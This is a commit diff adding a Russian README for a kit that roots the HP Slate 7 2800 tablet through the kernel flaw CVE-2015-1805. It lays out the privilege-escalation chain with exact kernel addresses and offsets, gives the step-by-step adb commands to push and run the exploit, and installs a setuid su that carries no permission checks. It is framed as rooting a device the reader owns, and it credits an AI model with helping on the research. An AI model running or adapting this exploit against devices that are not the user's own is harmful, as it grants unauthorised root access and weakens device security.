initial exploit
This commit is contained in:
+442
@@ -0,0 +1,442 @@
|
||||
# Root для HP Slate 7 2800 на Android 4.1.1
|
||||
|
||||
[English](README.md) | **Русский**
|
||||
|
||||
Этот репозиторий содержит полный автономный комплект для получения постоянного
|
||||
root-доступа на **HP Slate 7 2800** с прошивкой **1.05.18** и ядром
|
||||
**Linux 3.0.8+** через локальную уязвимость **CVE-2015-1805**. Комплект был
|
||||
реально выполнен на планшете, а результат проверен из нового ADB-сеанса и после
|
||||
обычной перезагрузки.
|
||||
|
||||
Это не универсальный Android-root. Эксплойт привязан к конкретной конфигурации
|
||||
ядра HP. Не запускайте его на другой модели, прошивке или версии ядра.
|
||||
|
||||
## Проверенная конфигурация
|
||||
|
||||
| Параметр | Проверенное значение |
|
||||
|---|---|
|
||||
| Производитель и модель | HP Slate 7 2800 |
|
||||
| Android | 4.1.1, API 16, сборка JRO03H |
|
||||
| Product / device | `t7h` / `pine` |
|
||||
| Процессор | Rockchip RK3066, ARMv7 |
|
||||
| Build fingerprint | `hp/t7h/pine:4.1.1/JRO03H/v1.05.18_user:user/release-keys` |
|
||||
| Ядро | `3.0.8+ #13 SMP PREEMPT Tue Jul 28 15:24:30 CST 2015` |
|
||||
| ABI | 32-битный ARM EABI5 |
|
||||
| SELinux | отсутствует в конфигурации ядра (`CONFIG_SECURITY` отключён) |
|
||||
| Раздел `/system` | ext4, штатно смонтирован read-only |
|
||||
|
||||
Проверить устройство без каких-либо изменений можно так:
|
||||
|
||||
```sh
|
||||
adb devices -l
|
||||
adb shell getprop ro.product.model
|
||||
adb shell getprop ro.build.fingerprint
|
||||
adb shell getprop ro.build.version.sdk
|
||||
adb shell cat /proc/version
|
||||
```
|
||||
|
||||
Или скриптом, который откажется продолжать при несовпадении fingerprint или
|
||||
версии ядра:
|
||||
|
||||
```sh
|
||||
./scripts/check-target.sh
|
||||
./scripts/check-target.sh ADB_SERIAL
|
||||
```
|
||||
|
||||
## Что находится в репозитории
|
||||
|
||||
```text
|
||||
.
|
||||
├── bin/
|
||||
│ ├── hp-slate7-cve-2015-1805-root # проверенный эксплойт
|
||||
│ ├── hp-slate7-install-root # установщик su в /system
|
||||
│ └── hp-slate7-su # минимальный setuid-root wrapper
|
||||
├── src/
|
||||
│ ├── exploit/ # исходники CVE и device-specific правки
|
||||
│ ├── installer/install-root.c # исходник установщика
|
||||
│ └── su/rootsh.S # исходник минимального su
|
||||
├── scripts/
|
||||
│ ├── build.sh # пересборка всех трёх ELF-файлов
|
||||
│ ├── check-target.sh # безопасная проверка совместимости
|
||||
│ └── root-device.sh # проверка, загрузка и запуск комплекта
|
||||
├── SHA256SUMS # хеши проверенных bin/*
|
||||
├── NOTICE # происхождение исходного PoC
|
||||
└── LICENSE # GPL-3.0
|
||||
```
|
||||
|
||||
### Формат и назначение файлов
|
||||
|
||||
| Файл | Формат | Размер | Назначение |
|
||||
|---|---:|---:|---|
|
||||
| `bin/hp-slate7-cve-2015-1805-root` | ELF 32-bit ARM EABI5, static, unstripped | 2 722 320 байт | Эксплуатация CVE, получение uid 0 и запуск установщика |
|
||||
| `bin/hp-slate7-install-root` | ELF 32-bit ARM EABI5, static, stripped | 22 596 байт | Кратковременно перемонтирует `/system` rw, устанавливает `su`, возвращает ro |
|
||||
| `bin/hp-slate7-su` | ELF 32-bit ARM EABI5, static, stripped | 656 байт | Делает `setresgid(0,0,0)`, `setresuid(0,0,0)` и запускает `/system/bin/sh` |
|
||||
|
||||
SHA-256 проверенных бинарников:
|
||||
|
||||
```text
|
||||
6bf8ea09efb9f409dfc7aa5efbc3108e5c1a19fc5b07ae913328ef4639a7644f bin/hp-slate7-cve-2015-1805-root
|
||||
4857c71efc846636afc5b50d7f3c971c6eb68d3760f652086f2a38c5dc50bc4a bin/hp-slate7-install-root
|
||||
40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e bin/hp-slate7-su
|
||||
```
|
||||
|
||||
Проверка на macOS:
|
||||
|
||||
```sh
|
||||
shasum -a 256 -c SHA256SUMS
|
||||
```
|
||||
|
||||
Проверка на Linux:
|
||||
|
||||
```sh
|
||||
sha256sum -c SHA256SUMS
|
||||
```
|
||||
|
||||
Используйте для планшета файлы из `bin/`: это именно те байты, которые были
|
||||
проверены на устройстве. Каталог `build/` предназначен для локальной
|
||||
пересборки и в Git не добавляется.
|
||||
|
||||
## Какая уязвимость используется
|
||||
|
||||
[CVE-2015-1805](https://nvd.nist.gov/vuln/detail/CVE-2015-1805) — ошибка в
|
||||
реализациях `pipe_read()` и `pipe_write()` старых ядер Linux. При ошибке
|
||||
атомарного копирования код некорректно продолжает обход массива `iovec`, что
|
||||
может вывести указатель за его границы. В результате локальный непривилегированный
|
||||
процесс может повредить память, аварийно завершить ядро или повысить привилегии.
|
||||
Подробный разбор механизма опубликован в
|
||||
[oss-security](https://www.openwall.com/lists/oss-security/2015/06/06/2), а
|
||||
исправления находятся, в частности, в upstream-коммитах Linux
|
||||
[`637b58c`](https://github.com/torvalds/linux/commit/637b58c2887e5e57850865839cc75f59184b23d1)
|
||||
и [`f0d1bec`](https://github.com/torvalds/linux/commit/f0d1bec9d58d4c038d0ac958c9af82be6eb18045).
|
||||
|
||||
Ядро планшета `3.0.8+` оказалось уязвимо. До изменения kernel memory была
|
||||
выполнена отдельная безвредная проверка той же гонки: обе цели записи находились
|
||||
в обычной памяти тестового процесса. Она завершилась результатом
|
||||
`CVE-2015-1805: VULNERABLE`, после чего планшет оставался доступен по ADB.
|
||||
|
||||
## Как устроена цепочка повышения привилегий
|
||||
|
||||
1. Эксплойт создаёт гонку между `readv()`, изменением отображения памяти и
|
||||
обработкой большого массива `iovec` в уязвимом pipe-коде ядра.
|
||||
2. Полученный примитив записи подменяет временно свободную запись 222 в
|
||||
`sys_call_table` адресом небольшого ARM-trampoline из процесса эксплойта.
|
||||
3. Адрес таблицы вычисляется через high vector по адресу `0xffff0008`.
|
||||
На проверенном устройстве инструкция равна `0xe59ff410`, literal указывает
|
||||
на `vector_swi = 0xc04d0d40`.
|
||||
4. Из [официального архива ядра HP Open Source 1.05.10](https://h30671.www3.hp.com/osp/Slate_7_Open_Source_Slate_7_28XX_Open_Source-1.05.10-20140212.tgz)
|
||||
(SHA-256 архива:
|
||||
`dd69f0468973714fd9ba22cdfea7e96f39f651ee51b9cb537728d9dcadbafda2`)
|
||||
с defconfig
|
||||
`rk30_t7h_dvt_defconfig` независимо собраны `vector_swi` и
|
||||
`sys_call_table`: их смещение равно `0xc4`. В установленной прошивке нет
|
||||
OABI и seccomp, поэтому итоговый runtime-адрес таблицы — `0xc04d0e04`.
|
||||
5. Trampoline состоит ровно из шести ARM-инструкций. Он получает текущий `sp`,
|
||||
выравнивает его на размер kernel stack 8192 байта и записывает `-1` только
|
||||
в `thread_info.addr_limit` по смещению 8. Внешних вызовов, пролога и
|
||||
compiler runtime в нём нет.
|
||||
6. Сразу после возврата из временного syscall запись 222 восстанавливается из
|
||||
записи 223. В исходниках HP обе записи являются `sys_ni_syscall`; на
|
||||
проверенном ядре восстановлен указатель `0xc051900c`.
|
||||
7. После расширения `addr_limit` pipe-копирование читает текущий
|
||||
`task_struct`, находит `cred` и проверяет найденную структуру по текущим
|
||||
uid/gid, выравниванию, счётчику ссылок и совпадению `real_cred == cred`.
|
||||
Только после этих проверок uid/gid обнуляются, а capability masks
|
||||
заполняются единицами.
|
||||
8. Процесс получает `uid=0` и запускает `/data/local/tmp/install-root`.
|
||||
Установщик перемонтирует `/system` в rw, копирует payload в
|
||||
`/system/xbin/su`, выставляет `root:root` и режим `06755`, вызывает `sync()`
|
||||
и возвращает `/system` в read-only.
|
||||
|
||||
Исходная функция `current_thread_info()` из старых kernel headers была
|
||||
несовместима с современным Clang при `-O0`: ранний прототип читал
|
||||
неинициализированное слово вместо регистра `sp` и мог уронить ядро. В данном
|
||||
репозитории она заменена проверенным naked ARM-trampoline. Ранний бинарник в
|
||||
репозиторий не включён.
|
||||
|
||||
## Какой софт нужен
|
||||
|
||||
### Для готовых файлов из `bin/`
|
||||
|
||||
- компьютер с macOS или Linux; Windows также возможен при наличии корректного
|
||||
ADB USB-драйвера, но данный запуск проверялся на macOS;
|
||||
- `adb` из Android SDK Platform Tools;
|
||||
- исправный USB-кабель с передачей данных;
|
||||
- включённая «Отладка по USB» и подтверждённый RSA-ключ компьютера на экране
|
||||
планшета.
|
||||
|
||||
Не нужны Android NDK, Java, Python, fastboot, разблокировка bootloader,
|
||||
custom recovery, root-APK или доступ к сети. Эксплойт и payload статически
|
||||
скомпонованы.
|
||||
|
||||
### Для пересборки
|
||||
|
||||
- Zig 0.15.2; достаточно распаковать portable archive, устанавливать пакет в
|
||||
систему не требуется;
|
||||
- Bash;
|
||||
- `shasum` либо `sha256sum` для контроля результата.
|
||||
|
||||
Android NDK по-прежнему не нужен: Zig предоставляет ARM musl cross-toolchain.
|
||||
|
||||
## Подготовка планшета
|
||||
|
||||
1. Зарядите планшет минимум до 50%. Во время подтверждённого запуска заряд был
|
||||
около 80%.
|
||||
2. Загрузите Android обычным способом и разблокируйте экран.
|
||||
3. Включите «Для разработчиков» → «Отладка по USB».
|
||||
4. Подключите кабель и подтвердите RSA-запрос отладки, если Android его покажет.
|
||||
5. Не запускайте Towelroot, KingRoot и другие root-приложения параллельно.
|
||||
6. Закройте лишние приложения. Эксплойт создаёт много потоков и близко подходит
|
||||
к лимитам этого старого устройства.
|
||||
|
||||
Проверьте связь:
|
||||
|
||||
```sh
|
||||
adb devices -l
|
||||
```
|
||||
|
||||
Статус должен быть `device`, а не `offline` или `unauthorized`.
|
||||
|
||||
## Получение root: ручная последовательность
|
||||
|
||||
Перейдите в корень репозитория и сначала проверьте точное совпадение устройства:
|
||||
|
||||
```sh
|
||||
./scripts/check-target.sh
|
||||
```
|
||||
|
||||
Если подключено несколько устройств, передавайте serial во всех командах через
|
||||
`adb -s SERIAL` или используйте переменную `ANDROID_SERIAL`.
|
||||
|
||||
Загрузите три файла под именами, которые ожидают друг друга:
|
||||
|
||||
```sh
|
||||
adb push bin/hp-slate7-cve-2015-1805-root /data/local/tmp/cve-2015-1805-root
|
||||
adb push bin/hp-slate7-install-root /data/local/tmp/install-root
|
||||
adb push bin/hp-slate7-su /data/local/tmp/rootsh-armv7
|
||||
```
|
||||
|
||||
Выставьте права и сбросьте staging-файлы на накопитель:
|
||||
|
||||
```sh
|
||||
adb shell 'chmod 755 /data/local/tmp/cve-2015-1805-root /data/local/tmp/install-root /data/local/tmp/rootsh-armv7; sync'
|
||||
```
|
||||
|
||||
Запустите эксплойт **один раз**:
|
||||
|
||||
```sh
|
||||
adb shell '/data/local/tmp/cve-2015-1805-root; rc=$?; echo DEVICE_RC=$rc; exit $rc'
|
||||
```
|
||||
|
||||
Подтверждённый успешный вывод:
|
||||
|
||||
```text
|
||||
offset:c4
|
||||
addr:c04d0d40
|
||||
[+] Done
|
||||
restored syscall 222 to 0xc051900c
|
||||
exploit rc=0 uid=0 gid=0
|
||||
installer uid=0 gid=0
|
||||
install-su ok
|
||||
DEVICE_RC=0
|
||||
```
|
||||
|
||||
Если устройство на несколько секунд исчезло из ADB, не запускайте эксплойт
|
||||
повторно. Дождитесь его возвращения:
|
||||
|
||||
```sh
|
||||
adb wait-for-device
|
||||
```
|
||||
|
||||
## Автоматизированный запуск
|
||||
|
||||
Скрипт выполняет проверку fingerprint и ядра, проверяет SHA-256, загружает
|
||||
файлы, просит ввести `ROOT`, запускает эксплойт и проверяет `uid=0`:
|
||||
|
||||
```sh
|
||||
./scripts/root-device.sh
|
||||
```
|
||||
|
||||
Для нескольких устройств:
|
||||
|
||||
```sh
|
||||
./scripts/root-device.sh --serial ADB_SERIAL
|
||||
```
|
||||
|
||||
Флаг `--yes` убирает интерактивное подтверждение и предназначен только для
|
||||
осознанного автоматического запуска:
|
||||
|
||||
```sh
|
||||
./scripts/root-device.sh --serial ADB_SERIAL --yes
|
||||
```
|
||||
|
||||
## Проверка результата
|
||||
|
||||
Проверяйте root из **нового** ADB shell, а не по uid процесса эксплойта:
|
||||
|
||||
```sh
|
||||
adb shell 'id; /system/xbin/su -c id; echo SU_RC=$?'
|
||||
adb shell 'ls -l /system/xbin/su'
|
||||
adb shell 'cat /proc/mounts' | grep ' /system '
|
||||
```
|
||||
|
||||
Ожидается:
|
||||
|
||||
```text
|
||||
uid=2000(shell) ...
|
||||
uid=0(root) gid=0(root) ...
|
||||
SU_RC=0
|
||||
-rwsr-sr-x root root ... su
|
||||
... /system ext4 ro,...
|
||||
```
|
||||
|
||||
Затем удалите только временные staging-файлы. Установленный
|
||||
`/system/xbin/su` не удаляется:
|
||||
|
||||
```sh
|
||||
adb shell '/system/xbin/su -c "rm -f /data/local/tmp/cve-2015-1805-root /data/local/tmp/install-root /data/local/tmp/rootsh-armv7; sync"'
|
||||
```
|
||||
|
||||
Комплект не создаёт `/data/local.prop` и не изменяет пользовательские данные.
|
||||
|
||||
Выполните обычную перезагрузку и итоговую проверку постоянного root:
|
||||
|
||||
```sh
|
||||
adb reboot
|
||||
adb wait-for-device
|
||||
adb shell getprop sys.boot_completed
|
||||
adb shell '/system/xbin/su -c id'
|
||||
```
|
||||
|
||||
На проверенном планшете после перезагрузки было получено:
|
||||
|
||||
```text
|
||||
uid=0(root) gid=0(root) ...
|
||||
```
|
||||
|
||||
Установленный файл был выгружен обратно с планшета и побайтно совпал с
|
||||
`bin/hp-slate7-su`:
|
||||
|
||||
```text
|
||||
40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e
|
||||
```
|
||||
|
||||
## Использование root
|
||||
|
||||
Выполнение одной команды:
|
||||
|
||||
```sh
|
||||
adb shell '/system/xbin/su -c id'
|
||||
adb shell '/system/xbin/su -c "ls -la /data"'
|
||||
```
|
||||
|
||||
`hp-slate7-su` — намеренно минимальный wrapper без Android-приложения,
|
||||
диалогов подтверждения, daemon и журнала разрешений. Любой локальный процесс,
|
||||
который способен исполнить `/system/xbin/su`, потенциально может получить root.
|
||||
Не используйте этот устаревший планшет для конфиденциальных данных после root и
|
||||
не устанавливайте на него непроверенные APK.
|
||||
|
||||
## Пересборка из исходников
|
||||
|
||||
Укажите путь к portable Zig 0.15.2 или добавьте `zig` в `PATH`:
|
||||
|
||||
```sh
|
||||
ZIG_BIN=/absolute/path/to/zig ./scripts/build.sh
|
||||
```
|
||||
|
||||
Результат появится в `build/`:
|
||||
|
||||
```text
|
||||
build/hp-slate7-cve-2015-1805-root
|
||||
build/hp-slate7-install-root
|
||||
build/hp-slate7-su
|
||||
```
|
||||
|
||||
Проверить формат:
|
||||
|
||||
```sh
|
||||
file build/hp-slate7-*
|
||||
```
|
||||
|
||||
Все три файла должны быть 32-битными ARM EABI5 ELF. При проверенной версии
|
||||
Zig 0.15.2 установщик и `su` пересобираются побайтно идентично файлам из
|
||||
`bin/`. Хеш эксплойта может отличаться из-за абсолютных путей в DWARF и linker
|
||||
metadata; его критический шестикомандный trampoline при проверочной пересборке
|
||||
совпал побайтно. Пересборка не заменяет контрольные суммы файлов из `bin/`,
|
||||
которые фактически запускались на планшете.
|
||||
|
||||
## Возможные проблемы
|
||||
|
||||
### `unauthorized`
|
||||
|
||||
Разблокируйте экран и подтвердите RSA-ключ USB-отладки. Если запрос не появился,
|
||||
переподключите кабель и повторите `adb devices -l`.
|
||||
|
||||
### `offline` или устройство исчезло
|
||||
|
||||
Подождите несколько секунд и выполните `adb wait-for-device`. Если планшет
|
||||
выключился, включите его обычной кнопкой Power. Не запускайте второй экземпляр
|
||||
эксплойта одновременно.
|
||||
|
||||
### Эксплойт не вывел `[+] Done`
|
||||
|
||||
CVE эксплуатируется через гонку и теоретически может не сработать. Перезагрузите
|
||||
планшет перед единственной повторной попыткой. Не запускайте бинарник циклом:
|
||||
ошибка гонки способна аварийно завершить ядро.
|
||||
|
||||
### Есть `su`, но команда завершается с кодом 127
|
||||
|
||||
Проверьте SHA-256 файла. Ранний исследовательский wrapper неправильно получал
|
||||
`argv` на ARM и завершался с 127. В этом репозитории находится исправленная
|
||||
656-байтная версия с SHA-256
|
||||
`40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e`.
|
||||
|
||||
### На экране остаётся логотип HP, но ADB уже доступен
|
||||
|
||||
Проверьте реальное состояние Android:
|
||||
|
||||
```sh
|
||||
adb shell getprop sys.boot_completed
|
||||
adb shell dumpsys window windows
|
||||
```
|
||||
|
||||
Значение `sys.boot_completed=1` означает, что Android загрузился, даже если
|
||||
физический дисплей ещё показывает старый кадр.
|
||||
|
||||
## Что проверялось и что не использовалось
|
||||
|
||||
На устройстве были безопасно исключены либо оказались непригодными другие
|
||||
общеизвестные пути: CVE-2013-6282, CVE-2013-2094, CVE-2012-0056,
|
||||
CVE-2013-4787, Dirty COW и PingPongRoot. Towelroot/CVE-2014-3153 приводил к
|
||||
падению этого ядра и не должен использоваться. CVE-2014-7951 позволяла записать
|
||||
файл через ADB restore traversal, но firmware HP не загружала
|
||||
`/data/local.prop`, поэтому root этим способом не получался.
|
||||
|
||||
Bootloader использует старый Rockchip loader и не появился как стандартное
|
||||
fastboot-устройство. Прошивка recovery или разблокировка bootloader для данного
|
||||
результата не потребовались.
|
||||
|
||||
## Происхождение и лицензия
|
||||
|
||||
Основой exploit-кода послужил
|
||||
[`mobilelinux/iovy_root_research`](https://github.com/mobilelinux/iovy_root_research),
|
||||
commit `f945796`, который в свою очередь указывает на
|
||||
[`dosomder/iovyroot`](https://github.com/dosomder/iovyroot). Device-specific
|
||||
изменения включают ограничение количества потоков, исправление таймаута,
|
||||
naked ARM-trampoline, раннее восстановление syscall-таблицы, валидацию `cred`
|
||||
и отключение неприменимой SELinux-ветки.
|
||||
|
||||
Исходные уведомления сохранены. Репозиторий распространяется по GPL-3.0; см.
|
||||
`LICENSE` и `NOTICE`.
|
||||
|
||||
## Ответственность
|
||||
|
||||
Эксплуатация kernel memory всегда несёт риск перезагрузки, повреждения системы
|
||||
или потери данных. Комплект предназначен только для принадлежащего вам
|
||||
HP Slate 7 2800 с точно совпадающей прошивкой. Сделайте резервную копию важных
|
||||
данных и не применяйте его к чужим устройствам.
|
||||
|
||||
---
|
||||
|
||||
Исследование безопасности и документация выполнены при содействии OpenAI Codex
|
||||
на базе [GPT-5.6 Sol](https://developers.openai.com/api/docs/models/gpt-5.6-sol)
|
||||
с доступом к возможностям кибербезопасности Daybreak Blue.
|
||||
Reference in New Issue
Block a user